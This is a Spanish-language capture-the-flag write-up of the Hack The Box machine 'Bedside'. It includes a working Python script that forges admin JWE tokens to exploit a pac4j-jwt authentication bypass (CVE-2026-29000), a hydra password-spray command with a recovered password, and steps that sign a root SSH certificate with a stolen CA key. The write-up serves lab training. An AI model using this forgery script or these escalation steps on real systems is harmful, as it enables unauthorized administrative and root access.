Descripción
Bedside es una máquina de dificultad media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Elusión de autenticación en la biblioteca
pac4j-jwtmediante la falsificación de un token de administrador - Contraseña en texto plano encontrada en el panel de control conduce a la reutilización de contraseñas en el servicio SSH
- Escalada de Privilegios mediante una configuración de CA SSH que permite confiar en cualquier certificado firmado por la CA ignorando el campo de nombre de usuario
Reconocimiento
Primero, vamos a verificar con el comando ping si la máquina está activa y cuál es el sistema operativo. La dirección IP de la máquina objetivo es 10.129.244.220.
$ ping -c 3 10.129.244.220
PING 10.129.244.220 (10.129.244.220) 56(84) bytes of data.
64 bytes from 10.129.244.220: icmp_seq=1 ttl=63 time=44.1 ms
64 bytes from 10.129.244.220: icmp_seq=2 ttl=63 time=44.1 ms
64 bytes from 10.129.244.220: icmp_seq=3 ttl=63 time=43.3 ms
--- 10.129.244.220 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.337/43.866/44.145/0.374 ms
La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.
$ sudo nmap 10.129.244.220 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.244.220
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
Obtenemos dos puertos abiertos: 22 y 8080.
Enumeración
Luego realizamos un escaneo más avanzado, con la versión de servicio y scripts.
$ nmap 10.129.244.220 -sV -sC -p22,8080 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.244.220
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
|_http-open-proxy: Proxy might be redirecting requests
...
|_http-server-header: Jetty
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.98%I=7%D=7/26%Time=6A653ADC%P=x86_64-pc-linux-gnu%r(Ge
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.11 seconds
Obtenemos dos servicios: uno Secure Shell (SSH) y uno Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio HTTP. Encontramos una página de inicio de sesión de Unified Operations Dashboard.
En el pie de página de la página encontramos que la aplicación web está impulsada por pac4j. pac4j es un marco de seguridad fácil y potente para Java para autenticar usuarios, obtener sus perfiles y gestionar la autorización. Al observar el código fuente, encontramos código JavaScript en la ruta /static/js/app.js que expone los puntos finales de la API.
$ curl http://10.129.244.220:8080/static/js/app.js
/**
* Principal Internal Platform - Client Application
* Version: 1.2.0
*
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
...
El manejo de sesiones en la aplicación utiliza Tokens Web JSON cifrados usando criptografía asimétrica (RSA). Somos capaces de obtener la clave pública con el endpoint /api/auth/jwks.
$ curl -s http://10.129.244.220:8080/api/auth/jwks | jq
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-..."
}
]
}
Al verificar las cabeceras HTTP encontramos que la versión utilizada pac4j es 6.0.3.
$ curl -I http://10.129.244.220:8080/api/auth/jwks
HTTP/1.1 200 OK
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Type: application/json
Transfer-Encoding: chunked
Explotación
Las versiones pac4j-jwt anteriores a 4.5.9, 5.7.9 y 6.3.3 contienen una vulnerabilidad de bypass de autenticación en JwtAuthenticator al procesar JWTs cifrados que permite a atacantes remotos falsificar tokens de autenticación, CVE-2026-29000. Los atacantes que poseen la clave pública RSA del servidor pueden crear un PlainJWT envuelto en JWE con reclamaciones de sujeto y rol arbitrarias, eludiendo la verificación de firma para autenticarse como cualquier usuario, incluidos los administradores.
Tenemos todos los campos necesarios para crear el token JWT como usuario admin, con algoritmo RSA-OAEP-256 y cifrado A128GCM. La carga útil tiene los campos sub, role, iss, iat y exp, por lo que desarrollamos un script de Python craft_jwt.py para crear tokens JWT. Se necesitan dos dependencias: jwcrypto y requests, instalables con pip.
import time
import requests
from jwcrypto import jwk, jwt, jwe
from jwcrypto.common import json_encode
def fetch_public_key_from_jwks(domain):
if not domain.startswith("http://"):
url = f"http://{domain}/api/auth/jwks"
else:
url = f"{domain.rstrip('/')}/api/auth/jwks"
response = requests.get(url, timeout=10)
response.raise_for_status()
jwks = jwk.JWKSet.from_json(response.text)
for key in jwks:
if key.get('kty') == 'RSA':
return key
def create_nested_token(domain, username, role):
encryption_public_key = fetch_public_key_from_jwks(domain)
now = int(time.time())
jwt_header = {
"alg": "none"
}
jwt_payload = {
"sub": username,
"role": role,
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}
none_key = jwk.JWK(generate="oct", size=256)
jwt_token = jwt.JWT(header=jwt_header, claims=jwt_payload, algs=["none"])
jwt_token.make_signed_token(none_key)
inner_jwt = jwt_token.serialize(compact=True)
jwe_header = {
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"cty": "JWT"
}
jwe_token = jwe.JWE(
plaintext=inner_jwt.encode('utf-8'),
protected=jwe_header
)
jwe_token.add_recipient(encryption_public_key)
return jwe_token.serialize(compact=True)
if __name__ == "__main__":
domain_input = "10.129.244.220:8080"
username_input = "admin"
role_input = "ROLE_ADMIN"
token = create_nested_token(domain_input, username_input, role_input)
print(token)
Ejecutamos el script para generar el token.
$ python craft_jwt.py
eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJjdHkiOiJKV1QiLCJlbmMiOiJBMTI4R0NNIn0.hCc51H7jL9OmweTyFqJvm4S4p2dCJrFhRI..._s_p9g
Como encontramos en el código fuente de JavaScript, utilizamos las herramientas para desarrolladores del navegador para crear una nueva variable de Session Storage llamada auth_token con el token generado.
Después de refrescar la página, tendremos acceso al panel de control web.
Encontramos un mensaje de que las claves CA de SSH fueron rotadas. Esto significa que el servidor puede usar autenticación basada en certificados para iniciar sesión en la máquina.
En la sección Users encontramos ocho usuarios: admin, svc-deploy, jthompson, amorales, bwright, kkumar, mwilson y lzhang. En la sección Settings encontramos las variables de configuración de la aplicación.
Encontramos una clave de cifrado D3pl0y_$$H_Now42! en las variables encryptionKey y esa ruta donde se guardan las configuraciones de la CA SSH, /opt/principal/ssh/, en la variable sshCaPath. Con la lista de usuarios y la clave de cifrado, vamos a realizar un ataque de password-spray para verificar si alguno de los usuarios reutiliza la clave como contraseña en el servicio SSH.
$ hydra -L users.txt -p 'D3pl0y_$$H_Now42!' "ssh://10.129.244.220"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://10.129.244.220:22/
[22][ssh] host: 10.129.244.220 login: svc-deploy password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
Encontramos que el usuario svc_deploy usa la contraseña, podemos iniciar sesión usando el protocolo SSH.
$ ssh svc-deploy@10.129.244.220
...
svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
Postexplotación
Tenemos acceso a y podemos explorar el directorio /opt/principal/ssh/ con la clave pública/privada ca y ca.pub y su archivo README.txt.
svc-deploy@principal:~$ ls -la /opt/principal/ssh/
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root 4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/ca
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
3m+NdOR8xTkAAAAQcHJpbmNpcGFsLXNzaC1jYQECAw==
-----END OPENSSH PRIVATE KEY-----
svc-deploy@principal:~$ cat /opt/principal/ssh/ca.pub
ssh-rsa AAAAB3NzaC1yc2EAAAAD...aqBvsmQ== principal-ssh-ca
Encontramos que esta es la clave utilizada por el servicio SSH en el archivo de configuración personalizado /etc/ssh/sshd_config.d/60-principal.conf.
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
Esta configuración de SSH habilita la autenticación mediante clave pública (PubkeyAuthentication yes) y la autenticación mediante contraseña (PasswordAuthentication yes) para usuarios generales, restringe la cuenta root a métodos que no son contraseñas, como claves públicas o certificados (PermitRootLogin prohibit-password), y establece un inicio de sesión centralizado basado en certificados SSH al confiar en certificados de usuario firmados por la Autoridad de Certificación en /opt/principal/ssh/ca.pub (TrustedUserCAKeys). Con respecto a posibles vulnerabilidades, depender de un archivo local de Autoridad de Certificación crea un punto único de fallo donde una clave privada de AC comprometida podría permitir que un atacante genere certificados y obtenga acceso a cualquier cuenta del sistema.
Generaremos una nueva clave privada SSH, luego firmaremos la clave pública con la clave privada de la Autoridad de Certificación y estableceremos al usuario root como el principal. Finalmente, nos conectaremos usando el protocolo SSH. Usamos el comando ssh-keygen especificando el nombre de archivo de la clave guardada, en este caso rootkey. Luego lo firmamos usando el parámetro -s para la clave privada de la AC (Autoridad de Certificación), -I para el ID de la clave y -n para el usuario principal.
$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/svc-deploy/.ssh/id_ed25519): rootkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in rootkey
Your public key has been saved in rootkey.pub
The key fingerprint is:
SHA256:8H0gTSEHgkAjhj9a67Ff9AZj/48kw6rSdNt+9ntI+A8 svc-deploy@principal
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -I "id-root" -n root rootkey
Signed user key rootkey-cert.pub: id "id-root" serial 0 for root valid forever
Finalmente podemos iniciar sesión como el usuario root.
svc-deploy@principal:~$ ssh -i rootkey root@127.0.0.1
...
root@principal:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la sesión root podemos recuperar los user.txt y root.txt flags.
root@principal:~# cat /home/svc-deploy/user.txt
<REDACTED>
root@principal:~# cat /root/root.txt
<REDACTED>